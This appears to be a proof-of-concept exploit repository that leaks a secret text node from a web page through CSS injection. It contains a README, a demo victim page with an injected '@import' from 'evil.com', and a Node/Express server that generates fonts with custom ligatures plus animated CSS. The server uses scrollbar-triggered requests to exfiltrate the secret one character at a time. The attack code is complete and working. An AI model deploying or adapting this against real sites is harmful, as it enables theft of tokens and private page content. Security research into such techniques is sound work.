├── README.md ├── index.html ├── index.js ├── package.json └── script.fontforge /README.md: -------------------------------------------------------------------------------- 1 | # PoC: Leak text nodes via CSS injection 2 | 3 | Disclaimer: this is just a poc, code is super bad, don't install it on a plane! (or do it under your own risk) 4 | 5 | ## How it works 6 | 7 | (... at some point I might write something, for now look at the source) 8 | 9 | For reading attributes see: https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231 10 | 11 | ## Video 12 | 13 | https://www.youtube.com/watch?v=aQ6V2pdfgmg 14 | 15 | ## References 16 | - http://p42.us/css/ 17 | - https://www.slideshare.net/x00mario/stealing-the-pie 18 | - http://sirdarckcat.blogspot.com/2013/09/matryoshka-wrapping-overflow-leak-on.html 19 | - https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ 20 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | css pow4h 4 | 15 | 16 | 17 |

nothing bad happening here, keep calm and enjoy the style :)

18 | 19 | 20 |
21 |
"sup3r.s3cret.token"
22 |

(the secret is a text node)

23 | 24 |
25 |
26 | 27 |
28 | 29 | // This is the only HTML injected, all logic is server-side 30 | <style>@import url(htp://evil.com/start)</style> 31 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const js2xmlparser = require('js2xmlparser'); 3 | const fs = require('fs'); 4 | const tmp = require('tmp'); 5 | const rimraf = require('rimraf'); 6 | const child_process = require('child_process'); 7 | 8 | const app = express(); 9 | app.disable('etag'); 10 | 11 | // Config 12 | const PORT = 3001; 13 | const HOSTNAME = "http://leaking.localhost.net:" + PORT; 14 | const CHARSET = ".0123456789abcdefghijklmnopqrstuvwxyz" 15 | const PREFIX = '"'; 16 | const LOG = 4; 17 | const DEBUG = true; 18 | const DELAY = '0.5s'; 19 | const DURATION = '1.5s'; 20 | const WIDTH = '140px'; 21 | const DEL = '_'; 22 | 23 | // thanks to @SecurityMB: 24 | // https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ 25 | function createFont(prefix, charsToLigature) { 26 | let font = { 27 | "defs": { 28 | "font": { 29 | "@": { 30 | "id": "hack", 31 | "horiz-adv-x": "0" 32 | }, 33 | "font-face": { 34 | "@": { 35 | "font-family": "hack", 36 | "units-per-em": "1000" 37 | } 38 | }, 39 | "glyph": [] 40 | } 41 | } 42 | }; 43 | 44 | let glyphs = font.defs.font.glyph; 45 | for (let c = 0x20; c <= 0x7e; c += 1) { 46 | const glyph = { 47 | "@": { 48 | "unicode": String.fromCharCode(c), 49 | "horiz-adv-x": "0", 50 | "d": "M1 0z", 51 | } 52 | }; 53 | glyphs.push(glyph); 54 | } 55 | 56 | charsToLigature.forEach(c => { 57 | const glyph = { 58 | "@": { 59 | "unicode": prefix + c, 60 | "horiz-adv-x": "20000", 61 | "d": "M1 0z", 62 | } 63 | } 64 | glyphs.push(glyph); 65 | }); 66 | 67 | const xml = js2xmlparser.parse("svg", font); 68 | 69 | const tmpobj = tmp.dirSync(); 70 | fs.writeFileSync(`${tmpobj.name}/font.svg`, xml); 71 | child_process.spawnSync("/usr/bin/fontforge", [ 72 | `${__dirname}/script.fontforge`, 73 | `${tmpobj.name}/font.svg` 74 | ]); 75 | 76 | const woff = fs.readFileSync(`${tmpobj.name}/font.woff`); 77 | 78 | rimraf.sync(tmpobj.name); 79 | 80 | return woff; 81 | } 82 | 83 | // Utils 84 | 85 | const encode = e => encodeURIComponent(e).replace(/\./g,'%252E'); 86 | 87 | function log() { 88 | if (DEBUG) console.log.apply(console, arguments); 89 | } 90 | 91 | function split(str, n=2) { 92 | return str.match(new RegExp('.{1,'+(Math.ceil(str.length/n))+'}','g')); 93 | } 94 | 95 | // CSS generation 96 | 97 | // define fonts with src to on-the-fly ligature generation 98 | function genFontFacesCSS (prefix, input, chars) { 99 | return `@font-face{font-family:empty;src:url(${HOSTNAME}/font/${encode(prefix+input)}/%C2%AC)}` + split(chars, LOG).map((c,i) => `@font-face{font-family:"hack_${input+"_"+c+"_"+i}";src:url(${HOSTNAME}/font/${encode(prefix+input)}/${encode(c)})}`).join('')+'\n'; 100 | }; 101 | 102 | // use animation to iterate over a bunch of different fonts, only leak if one matches (i.e. triggers the scrollbar) 103 | function genAnimation (chars, input, ttl) { 104 | let chunks = split(chars, LOG); 105 | let delta = Math.floor(100 / chunks.length / 2); 106 | return `@keyframes wololo_${n} {\n` + 107 | chunks.map((e,i) => { 108 | return `${delta*i*2}%{font-family:empty;--x:0}\n` + 109 | `${delta*(i*2+1)}%{font-family:"hack_${input+"_"+e+"_"+i}";--x:url(${HOSTNAME}/leak?ttl=${ttl}&pre=${encode(input)}&chars=${encode(e)});}\n`; 110 | }).join('') + 111 | `100%{font-family:empty;--x:0}\n` + 112 | `}\n`; 113 | }; 114 | 115 | // basic setup for scrollbar detection 116 | function genInjection (selector='.foo', iterations=0, width='450px', delay='1s', duration='5s') { 117 | return `${'div '.repeat(iterations) + (iterations?'>':'') + selector}{ 118 | overflow-x: auto; 119 | width: ${width}; 120 | animation-duration: ${duration}; 121 | animation-delay: ${delay}; 122 | font-family: empty; 123 | background: lightblue; 124 | animation-name: wololo_${n}; 125 | } 126 | ${'div '.repeat(iterations) + (iterations?'>':'') + selector}::-webkit-scrollbar { 127 | background: blue; 128 | } 129 | ${'div '.repeat(iterations) + (iterations?'>':'') + selector}::-webkit-scrollbar:horizontal { 130 | background:var(--x); 131 | }`; 132 | }; 133 | 134 | // generate next payload 135 | function genResponse (res, ttl, chars) { 136 | console.log('...payload ('+ n +'): ' + split(chars, LOG)); 137 | var css = 138 | '@import url('+ HOSTNAME + '/next?' + Math.random() + ');\n\n' + 139 | genFontFacesCSS(PREFIX, input, chars) + 140 | genAnimation(chars, input, ttl) + 141 | genInjection('#leakme', n, WIDTH, DELAY, DURATION); 142 | res.set({ 143 | //'Cache-Control': 'public, max-age=600', 144 | 'Content-Type': 'text/css', 145 | }); 146 | res.end(css); 147 | n = n + 1; 148 | } 149 | 150 | // Router & CSS recursive import logic 151 | 152 | var pending = [], ready = 0, n = 0, input = "", ttl = 0; 153 | 154 | app.get("/font/:prefix/:charsToLigature", (req, res) => { 155 | const { prefix, charsToLigature } = req.params; 156 | res.set({ 157 | 'Cache-Control': 'public, max-age=600', 158 | 'Content-Type': 'application/x-font-woff', 159 | 'Access-Control-Allow-Origin': '*', 160 | }); 161 | res.end(createFont(decodeURIComponent(prefix), Array.from(decodeURIComponent(charsToLigature)))); 162 | }); 163 | 164 | // first request, reset everything 165 | app.get("/start", (req, res) => { 166 | log("==============================="); 167 | ready = 0; 168 | n = 0; 169 | pending = []; 170 | chars = CHARSET; 171 | input = ""; 172 | ttl = 0; 173 | genResponse(res, ttl, chars); 174 | }); 175 | 176 | // only keep first response, loop until we get 1 char, then mark as ready or send payload 177 | app.get("/leak", (req, res) => { 178 | res.sendStatus(200).end(); 179 | req.query.ttl = parseInt(req.query.ttl, 10); 180 | req.query.pre = decodeURIComponent(req.query.pre); 181 | req.query.chars = decodeURIComponent(req.query.chars); 182 | if (req.query.chars && req.query.ttl >= ttl) { 183 | ttl = ttl + 1; 184 | if (req.query.chars.length === 1) { 185 | input += req.query.chars; 186 | chars = CHARSET; // prepare next binary search 187 | } else { 188 | chars = req.query.chars; // keep binary search 189 | } 190 | console.log('recv: %s', input); 191 | } else { 192 | return; 193 | } 194 | if (ready == 1) { 195 | genResponse(pending.shift(), ttl, chars); 196 | ready = 0; 197 | } else { 198 | ready++; 199 | log('\tleak: waiting others...'); 200 | } 201 | }); 202 | 203 | // send next payload when ready 204 | app.get("/next", (req, res) => { 205 | if (ready == 1) { 206 | genResponse(res, ttl, chars); 207 | ready = 0; 208 | } else { 209 | pending.push(res); 210 | ready++; 211 | log('\tquery: waiting others...'); 212 | } 213 | }); 214 | 215 | app.get('/index.html', (req, res) => { 216 | res.sendFile('index.html', { 217 | root: '.' 218 | }); 219 | }); 220 | 221 | app.listen(PORT, () => { 222 | console.log(`Listening on ${PORT}...`); 223 | }) 224 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "css-attack-3", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.15.5", 13 | "js-cookie": "^2.1.4", 14 | "js2xmlparser": "^3.0.0", 15 | "rimraf": "^2.6.2", 16 | "tmp": "0.0.33" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /script.fontforge: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fontforge 2 | Open($1) 3 | Generate($1:r + ".woff") 4 | --------------------------------------------------------------------------------